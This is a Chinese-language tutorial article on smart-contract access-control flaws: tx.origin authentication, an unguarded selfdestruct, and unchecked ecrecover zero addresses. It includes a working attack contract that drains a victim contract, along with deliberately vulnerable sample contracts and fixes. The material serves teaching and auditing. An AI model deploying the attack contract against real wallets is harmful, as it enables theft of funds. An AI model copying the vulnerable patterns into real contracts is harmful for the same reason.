前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >权限校验错误

权限校验错误

作者头像
Al1ex
发布于 2021-07-21 08:56:15
发布于 2021-07-21 08:56:15
1.6K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
Tx.origin鉴权
简单介绍

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址,在智能合约中使用此变量进行身份验证可能会使合约受到类似网络钓鱼的攻击。

案例分析
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
contract Phishable {
    address public owner;

    constructor () public {
        owner = msg.sender ; 
    }

    function () public payable {} // collect ether

    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance); 
    }
}

该合约有三个函数:

  • constructor构造函数,指定合约owner;
  • fallback函数,通过添加payable关键字以便接收用户转账;
  • withdrawAll函数,对tx.origin进行判断,如果tx.origin是owner,则将合约地址所拥有的ether发送到_recipient中

现在攻击者创建了以下合约:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.22;
//设置原合约接口,方便调用函数
interface Phishable {
    function owner() external returns (address);
    function withdrawAll(address _recipient) external;
}
//漏洞证明合约
contract POC {
    address owner;
    Phishable phInstance;
    
    constructor() public {
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(owner==msg.sender);
        _;
    }
    //指向原合约地址
    function setInstance(address addr) public onlyOwner {
        phInstance = Phishable(addr);
    }
    
    function getBalance() public onlyOwner {
        owner.transfer(address(this).balance);
    }
    
    function attack() internal {
        address phOwner = phInstance.owner();
        if(phOwner == msg.sender){ 
            phInstance.withdrawAll(owner);            
        } else {
            owner.transfer(address(this).balance);
        }
    }
    
    function() external payable {
        attack();
    }
}

攻击者诱使原合约(Phishable.sol)的owner发送ether到攻击合约(POC.sol)地址,然后调用攻击合约的fallback函数,执行attack()函数,此时phOwner == msg.sender,将会调用原合约的withdrawAll()函数,程序执行进入原合约,此时msg.sender是攻击合约的地址,tx.origin是最初发起交易的地址,即原合约的owner,require(tx.origin == owner);条件满足,_recipient.transfer(this.balance);可以执行,即将原合约地址里的ether转给攻击者。

防御措施

tx.origin不应该用于智能合约的授权,这并不是说永远不应该使用tx.origin变量,它在智能合约中确实有一些合法的用例,例如,如果想要拒绝外部合约调用当前合约,他们可以通过require(tx.origin == msg.sender)实现,这可以防止使用中间合约来调用当前合约

Selfdestruct未做权限校验
简单介绍

合约中的selfdestruct函数用于自毁操作,如果没有绝对必要可以考虑删除此功能,如果存在该功能,则建议试试多重签名方案,以便多方批准后才可以执行自毁操作。

案例分析

WalletLibrary.sol

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a
// single, or, crucially, each of a number of, designated owners.
// usage:
// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by
// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the
// interior is executed.

pragma solidity ^0.4.9;

contract WalletEvents {
  // EVENTS

  // this contract only has six types of events: it can accept a confirmation, in which case
  // we record owner and operation (hash) alongside it.
  event Confirmation(address owner, bytes32 operation);
  event Revoke(address owner, bytes32 operation);

  // some others are in the case of an owner changing.
  event OwnerChanged(address oldOwner, address newOwner);
  event OwnerAdded(address newOwner);
  event OwnerRemoved(address oldOwner);

  // the last one is emitted if the required signatures change
  event RequirementChanged(uint newRequirement);

  // Funds has arrived into the wallet (record how much).
  event Deposit(address _from, uint value);
  // Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
  event SingleTransact(address owner, uint value, address to, bytes data, address created);
  // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
  event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
  // Confirmation still needed for a transaction.
  event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}

contract WalletAbi {
  // Revokes a prior confirmation of the given operation
  function revoke(bytes32 _operation) external;

  // Replaces an owner `_from` with another `_to`.
  function changeOwner(address _from, address _to) external;

  function addOwner(address _owner) external;

  function removeOwner(address _owner) external;

  function changeRequirement(uint _newRequired) external;

  function isOwner(address _addr) constant returns (bool);

  function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);

  // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
  function setDailyLimit(uint _newLimit) external;

  function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
  function confirm(bytes32 _h) returns (bool o_success);
}

contract WalletLibrary is WalletEvents {
  // TYPES

  // struct for the status of a pending operation.
  struct PendingState {
    uint yetNeeded;
    uint ownersDone;
    uint index;
  }

  // Transaction structure to remember details of transaction lest it need be saved for a later call.
  struct Transaction {
    address to;
    uint value;
    bytes data;
  }

  // MODIFIERS

  // simple single-sig function modifier.
  modifier onlyowner {
    if (isOwner(msg.sender))
      _;
  }
  // multi-sig function modifier: the operation must have an intrinsic hash in order
  // that later attempts can be realised as the same underlying operation and
  // thus count as confirmations.
  modifier onlymanyowners(bytes32 _operation) {
    if (confirmAndCheck(_operation))
      _;
  }

  // METHODS

  // gets called when no other function matches
  function() payable {
    // just being sent some cash?
    if (msg.value > 0)
      Deposit(msg.sender, msg.value);
  }

  // constructor is given number of sigs required to do protected "onlymanyowners" transactions
  // as well as the selection of addresses capable of confirming them.
  function initMultiowned(address[] _owners, uint _required) only_uninitialized {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i)
    {
      m_owners[2 + i] = uint(_owners[i]);
      m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;
  }

  // Revokes a prior confirmation of the given operation
  function revoke(bytes32 _operation) external {
    uint ownerIndex = m_ownerIndex[uint(msg.sender)];
    // make sure they're an owner
    if (ownerIndex == 0) return;
    uint ownerIndexBit = 2**ownerIndex;
    var pending = m_pending[_operation];
    if (pending.ownersDone & ownerIndexBit > 0) {
      pending.yetNeeded++;
      pending.ownersDone -= ownerIndexBit;
      Revoke(msg.sender, _operation);
    }
  }

  // Replaces an owner `_from` with another `_to`.
  function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
    if (isOwner(_to)) return;
    uint ownerIndex = m_ownerIndex[uint(_from)];
    if (ownerIndex == 0) return;

    clearPending();
    m_owners[ownerIndex] = uint(_to);
    m_ownerIndex[uint(_from)] = 0;
    m_ownerIndex[uint(_to)] = ownerIndex;
    OwnerChanged(_from, _to);
  }

  function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
    if (isOwner(_owner)) return;

    clearPending();
    if (m_numOwners >= c_maxOwners)
      reorganizeOwners();
    if (m_numOwners >= c_maxOwners)
      return;
    m_numOwners++;
    m_owners[m_numOwners] = uint(_owner);
    m_ownerIndex[uint(_owner)] = m_numOwners;
    OwnerAdded(_owner);
  }

  function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
    uint ownerIndex = m_ownerIndex[uint(_owner)];
    if (ownerIndex == 0) return;
    if (m_required > m_numOwners - 1) return;

    m_owners[ownerIndex] = 0;
    m_ownerIndex[uint(_owner)] = 0;
    clearPending();
    reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
    OwnerRemoved(_owner);
  }

  function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
    if (_newRequired > m_numOwners) return;
    m_required = _newRequired;
    clearPending();
    RequirementChanged(_newRequired);
  }

  // Gets an owner by 0-indexed position (using numOwners as the count)
  function getOwner(uint ownerIndex) external constant returns (address) {
    return address(m_owners[ownerIndex + 1]);
  }

  function isOwner(address _addr) constant returns (bool) {
    return m_ownerIndex[uint(_addr)] > 0;
  }

  function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
    var pending = m_pending[_operation];
    uint ownerIndex = m_ownerIndex[uint(_owner)];

    // make sure they're an owner
    if (ownerIndex == 0) return false;

    // determine the bit to set for this owner.
    uint ownerIndexBit = 2**ownerIndex;
    return !(pending.ownersDone & ownerIndexBit == 0);
  }

  // constructor - stores initial daily limit and records the present day's index.
  function initDaylimit(uint _limit) only_uninitialized {
    m_dailyLimit = _limit;
    m_lastDay = today();
  }
  // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
  function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
    m_dailyLimit = _newLimit;
  }
  // resets the amount already spent today. needs many of the owners to confirm.
  function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
    m_spentToday = 0;
  }

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
  // If not, goes into multisig process. We provide a hash on return to allow the sender to provide
  // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
  // and _data arguments). They still get the option of using them if they want, anyways.
  function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
    // first, take the opportunity to check that we're under the daily limit.
    if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
      // yes - just execute the call.
      address created;
      if (_to == 0) {
        created = create(_value, _data);
      } else {
        if (!_to.call.value(_value)(_data))
          throw;
      }
      SingleTransact(msg.sender, _value, _to, _data, created);
    } else {
      // determine our operation hash.
      o_hash = sha3(msg.data, block.number);
      // store if it's new
      if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
        m_txs[o_hash].to = _to;
        m_txs[o_hash].value = _value;
        m_txs[o_hash].data = _data;
      }
      if (!confirm(o_hash)) {
        ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
      }
    }
  }

  function create(uint _value, bytes _code) internal returns (address o_addr) {
    /*
    assembly {
      o_addr := create(_value, add(_code, 0x20), mload(_code))
      jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
    }
    */
  }

  // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
  // to determine the body of the transaction from the hash provided.
  function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
    if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
      address created;
      if (m_txs[_h].to == 0) {
        created = create(m_txs[_h].value, m_txs[_h].data);
      } else {
        if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
          throw;
      }

      MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
      delete m_txs[_h];
      return true;
    }
  }

  // INTERNAL METHODS

  function confirmAndCheck(bytes32 _operation) internal returns (bool) {
    // determine what index the present sender is:
    uint ownerIndex = m_ownerIndex[uint(msg.sender)];
    // make sure they're an owner
    if (ownerIndex == 0) return;

    var pending = m_pending[_operation];
    // if we're not yet working on this operation, switch over and reset the confirmation status.
    if (pending.yetNeeded == 0) {
      // reset count of confirmations needed.
      pending.yetNeeded = m_required;
      // reset which owners have confirmed (none) - set our bitmap to 0.
      pending.ownersDone = 0;
      pending.index = m_pendingIndex.length++;
      m_pendingIndex[pending.index] = _operation;
    }
    // determine the bit to set for this owner.
    uint ownerIndexBit = 2**ownerIndex;
    // make sure we (the message sender) haven't confirmed this operation previously.
    if (pending.ownersDone & ownerIndexBit == 0) {
      Confirmation(msg.sender, _operation);
      // ok - check if count is enough to go ahead.
      if (pending.yetNeeded <= 1) {
        // enough confirmations: reset and run interior.
        delete m_pendingIndex[m_pending[_operation].index];
        delete m_pending[_operation];
        return true;
      }
      else
      {
        // not enough: record that this owner in particular confirmed.
        pending.yetNeeded--;
        pending.ownersDone |= ownerIndexBit;
      }
    }
  }

  function reorganizeOwners() private {
    uint free = 1;
    while (free < m_numOwners)
    {
      while (free < m_numOwners && m_owners[free] != 0) free++;
      while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
      if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
      {
        m_owners[free] = m_owners[m_numOwners];
        m_ownerIndex[m_owners[free]] = free;
        m_owners[m_numOwners] = 0;
      }
    }
  }

  // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
  // returns true. otherwise just returns false.
  function underLimit(uint _value) internal onlyowner returns (bool) {
    // reset the spend limit if we're on a different day to last time.
    if (today() > m_lastDay) {
      m_spentToday = 0;
      m_lastDay = today();
    }
    // check to see if there's enough left - if so, subtract and return true.
    // overflow protection                    // dailyLimit check
    if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
      m_spentToday += _value;
      return true;
    }
    return false;
  }

  // determines today's index.
  function today() private constant returns (uint) { return now / 1 days; }

  function clearPending() internal {
    uint length = m_pendingIndex.length;

    for (uint i = 0; i < length; ++i) {
      delete m_txs[m_pendingIndex[i]];

      if (m_pendingIndex[i] != 0)
        delete m_pending[m_pendingIndex[i]];
    }

    delete m_pendingIndex;
  }

  // FIELDS
  address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;

  // the number of owners that must confirm the same operation before it is run.
  uint public m_required;
  // pointer used to find a free slot in m_owners
  uint public m_numOwners;

  uint public m_dailyLimit;
  uint public m_spentToday;
  uint public m_lastDay;

  // list of owners
  uint[256] m_owners;

  uint constant c_maxOwners = 250;
  // index on the list of owners to allow reverse lookup
  mapping(uint => uint) m_ownerIndex;
  // the ongoing operations.
  mapping(bytes32 => PendingState) m_pending;
  bytes32[] m_pendingIndex;

  // pending transactions we have at present.
  mapping (bytes32 => Transaction) m_txs;
}

simple_suicide.sol

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.22;

contract SimpleSuicide {

  function sudicideAnyone() {
    selfdestruct(msg.sender);
  }
}
防御措施

对调用selfdestruction的用户进行权限校验或使用多签策略:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.22;

contract SimpleSuicide {

  function sudicideAnyone() onlyowner{
    selfdestruct(msg.sender);
  }
}
ecrecover未作0地址判断
简单介绍

keccak256()和 ecrecover()都是内嵌的函数,keccak256()可以用于计算公钥的签名,ecrecover()可以用来恢复签名公钥,传值正确的情况下,可以利用这两个函数来验证地址:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//ecrecover接口,利用椭圆曲线签名恢复与公钥相关的地址,错误返回零。
ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address) 

--------------------------------------------------------------
bytes32 hash = keccak256(_from,_spender,_value,nonce,name);
if(_from != ecrecover(hash,_v,_r,_s)) revert();

当ecrecover传入错误参数(例如_v = 29,),函数返回0地址,如果合约函数传入的校验地址也为零地址,那么将通过断言,导致合约逻辑错误:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,
    uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){

    ...
    
    bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);
    if(_from != ecrecover(h,_v,_r,_s)) revert();
    
    ...
    return true;
}

在函数transferProxy中,如果传入的参数_from为0,那么ecrecover函数因为输入参数错误而返回0值之后,if判断将通过,从而导致合约漏洞:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.4;

contract Decode{
  //公匙:0x60320b8a71bc314404ef7d194ad8cac0bee1e331
  //sha3(msg): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45 (web3.sha3("abc");)
  //签名后的数据:0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800

  //验签数据入口函数
  //bytes memory signedString =hex"f4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800";
  function decode(bytes signedString) public pure returns (address){

    bytes32  r = bytesToBytes32(slice(signedString, 0, 32));
    bytes32  s = bytesToBytes32(slice(signedString, 32, 32));
    byte  v = slice(signedString, 64, 1)[0];
    return ecrecoverDecode(r, s, v);
  }

  //将原始数据按段切割出来指定长度
  function slice(bytes memory data, uint start, uint len) internal pure returns (bytes){
    bytes memory b = new bytes(len);

    for(uint i = 0; i < len; i++){
      b[i] = data[i + start];
    }

    return b;
  }

  //使用ecrecover恢复公匙
  function ecrecoverDecode(bytes32 r, bytes32 s, byte v1) internal pure returns (address addr){
     uint8 v = uint8(v1) + 27;
     addr = ecrecover(0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45, v, r, s);
  }

  //bytes转换为bytes32
  function bytesToBytes32(bytes memory source) internal pure returns (bytes32 result) {
    assembly {
        result := mload(add(source, 32))
    }
  }
}

函数decode()传入经过签名后的数据,用于验证返回地址是否是之前用于签名的私钥对应的公钥地址,以太坊提供了web3.eth.sign方法来对数据生成数字签名,上面的签名数据可以通过下面的js代码获得:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//初始化基本对象
var Web3 = require('web3');
var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));

var account = web3.eth.accounts[0];
var sha3Msg = web3.sha3("abc");
var signedData = web3.eth.sign(account, sha3Msg);

console.log("account: " + account);
console.log("sha3(message): " + sha3Msg);
console.log("Signed data: " + signedData);

js代码运行结果如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ node test.js
account: 0x60320b8a71bc314404ef7d194ad8cac0bee1e331
sha3(message): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45
Signed data: 0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800
防御措施

对0x0地址做过滤,例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,
    uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){

    ...
    require(_from != 0x0);  // 待校验的地址不为0
    bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);
    if(_from != ecrecover(h,_v,_r,_s)) revert();
    
    ...
    return true;
}

参考链接:https://github.com/Al1ex/SoliditySecurity

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
solidity智能合约
Solidity里的智能合约是面向对象语言里的类。它们持久存放在状态变量和函数中,(在里面)可以通过solidity修改这些变量。在不同的智能合约(实例)中调用一个函数(的过程),(实际上)是在EVM(Ether虚拟机)中完成一次调用,并且完成(一次)上下文切换,(此时)状态变量是不可访问的。
笔阁
2018/09/04
1.4K0
Ethernaut闯关录(中)
前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的_owner。
Al1ex
2021/07/21
7430
Ethernaut闯关录(中)
[区块链]Solidity小白菜系列进阶(二)
荷秋
2024/12/27
1611
智能合约:Ethernaut题解(三)
一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢
yichen
2020/05/25
1.2K0
第十二课 SOLIDITY语法难点解析及故障排查
(1)推荐编辑器 目前尝试 Solidity 编程的最好的方式是使用 Remix (需要时间加载,请耐心等待)。Remix 是一个基于 Web 的 IDE,它可以让你编写 Solidity 智能合约,然后部署并运行该智能合约。 如果外网不能访问,可以访问欧阳哥哥搭建的REMIX编辑器 (2)Visual Studio Extension Microsoft Visual Studio 的 Solidity 插件,包含 Solidity 编译器。 (3)Visual Studio Code extension Microsoft Visual Studio Code 插件,包含语法高亮和 Solidity 编译器。
辉哥
2018/08/10
1.2K0
第十二课 SOLIDITY语法难点解析及故障排查
SushiSwap协议分析
SushiSwap是一个分叉自Uniswap的去中心化交易协议,它在交易模式上延续了Uniswap的核心设计——AMM(自动做市商)模型,但与Uniswap不同之处在于SushiSwap增加了经济奖励模型,SushiSwap交易手续费为0.3%,其中0.25%直接分给发给流动性提供,0.05%买成SUSHI并分配给Sushi代币持有者(Uniswap是通过开关模式决定是否将0.05%的手续费给开发者团队),Sushi在每次分发时会预留10%给项目未来开发迭代及安全审计等。
Al1ex
2021/07/21
2.2K0
SushiSwap协议分析
solidity代码功能模块
这个合约是一个librray,只有一个函数isContract,且被声明为internal view.internal 限制这个函数只能由import这个合约内部使用;view 声明这个函数不会改变状态
rectinajh
2022/05/20
6130
Ethernaut闯关录(下)
在合约的开头处有一个Building接口,定义了isLastFloor函数,返回值是bool,应该是用来返回这一楼层是否为最顶层,在接口里没有函数是已实现的,类似于抽象合约,可以理解为它仅仅用来提供一个标准,这样继承于它的合约就可以遵照它的标准来进行交互,而接口内的函数在其调用合约内定义即可。
Al1ex
2021/07/21
1.1K0
Ethernaut闯关录(下)
智能合约语言 Solidity 教程系列8 - Solidity API
这是Solidity教程系列文章第8篇介绍Solidity API,它们主要表现为内置的特殊的变量及函数,存在于全局命名空间里。
Tiny熊
2018/07/23
6840
在以太坊上部署一个确定性的合约
在基于 EVM 的协议[4]上部署一个新的合约,通常会产生一个无法事先知道的合约地址。幸运的是,EIP-1014[5]中介绍了一种预先计算合约地址的方法。
Tiny熊
2022/11/07
9930
在以太坊上部署一个确定性的合约
Ethernaut WriteUp 更新到22题 Shop
网上有几篇WP了,但是有的题目短缺,有的不够详细,有的POC,MagicNumber题目更新后是过不了的~~虽说我这里也不可能做到最详细,但是综合起来看的话,应该会好一些。下面是本篇WP参考到的文章,感谢。
xuing
2019/10/19
1.8K0
以太坊智能合约审计 CheckList
在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。
Seebug漏洞平台
2018/12/13
1K0
safeSendLp逻辑设计安全分析
上周五一位好朋友在做合约审计时遇到一个有趣的函数safeSendLp,之所以说该函数有趣是因为感觉该函数存在问题,却又觉得该函数业务逻辑正常,遂对其进行简单调试分析~
Al1ex
2021/07/21
7410
safeSendLp逻辑设计安全分析
以太坊蜜罐智能合约分析
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
Seebug漏洞平台
2018/07/12
1.2K0
HCTF2018智能合约两则Writeup
这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。
LoRexxar
2023/02/21
4010
HCTF2018智能合约两则Writeup
处理 NFT 预售 — 链下白名单
The Humans Of NFT 是一个由 1500 个真正独特的角色组成的项目,他们将以太坊称为区块链家园。每个人物角色(humans)都有一个由我们社区成员提供的手写背景故事。在我们之前的文章中[4]提供了一些背景信息,说明为什么我们需要在单个合约中使用如此多种铸造和认领机制。
Tiny熊
2023/01/09
1.3K1
处理 NFT 预售 — 链下白名单
ENS源码分析
2021 年 ENS 大火,有很多用户用户赚了不菲的空投,甚至部分用户赚了上千万。
Tiny熊
2022/04/08
1.3K0
ENS源码分析
以太坊蜜罐智能合约分析
作者:dawu&0x7F@知道创宇404区块链安全研究团队 时间:2018/06/26
Seebug漏洞平台
2018/07/26
1.4K0
以太坊蜜罐智能合约分析
智能合约:Ethernaut题解(四)
题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写
yichen
2020/05/24
9020
[区块链]Solidity小白菜系列入门(一)
荷秋
2024/12/20
3900
相关推荐
solidity智能合约
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档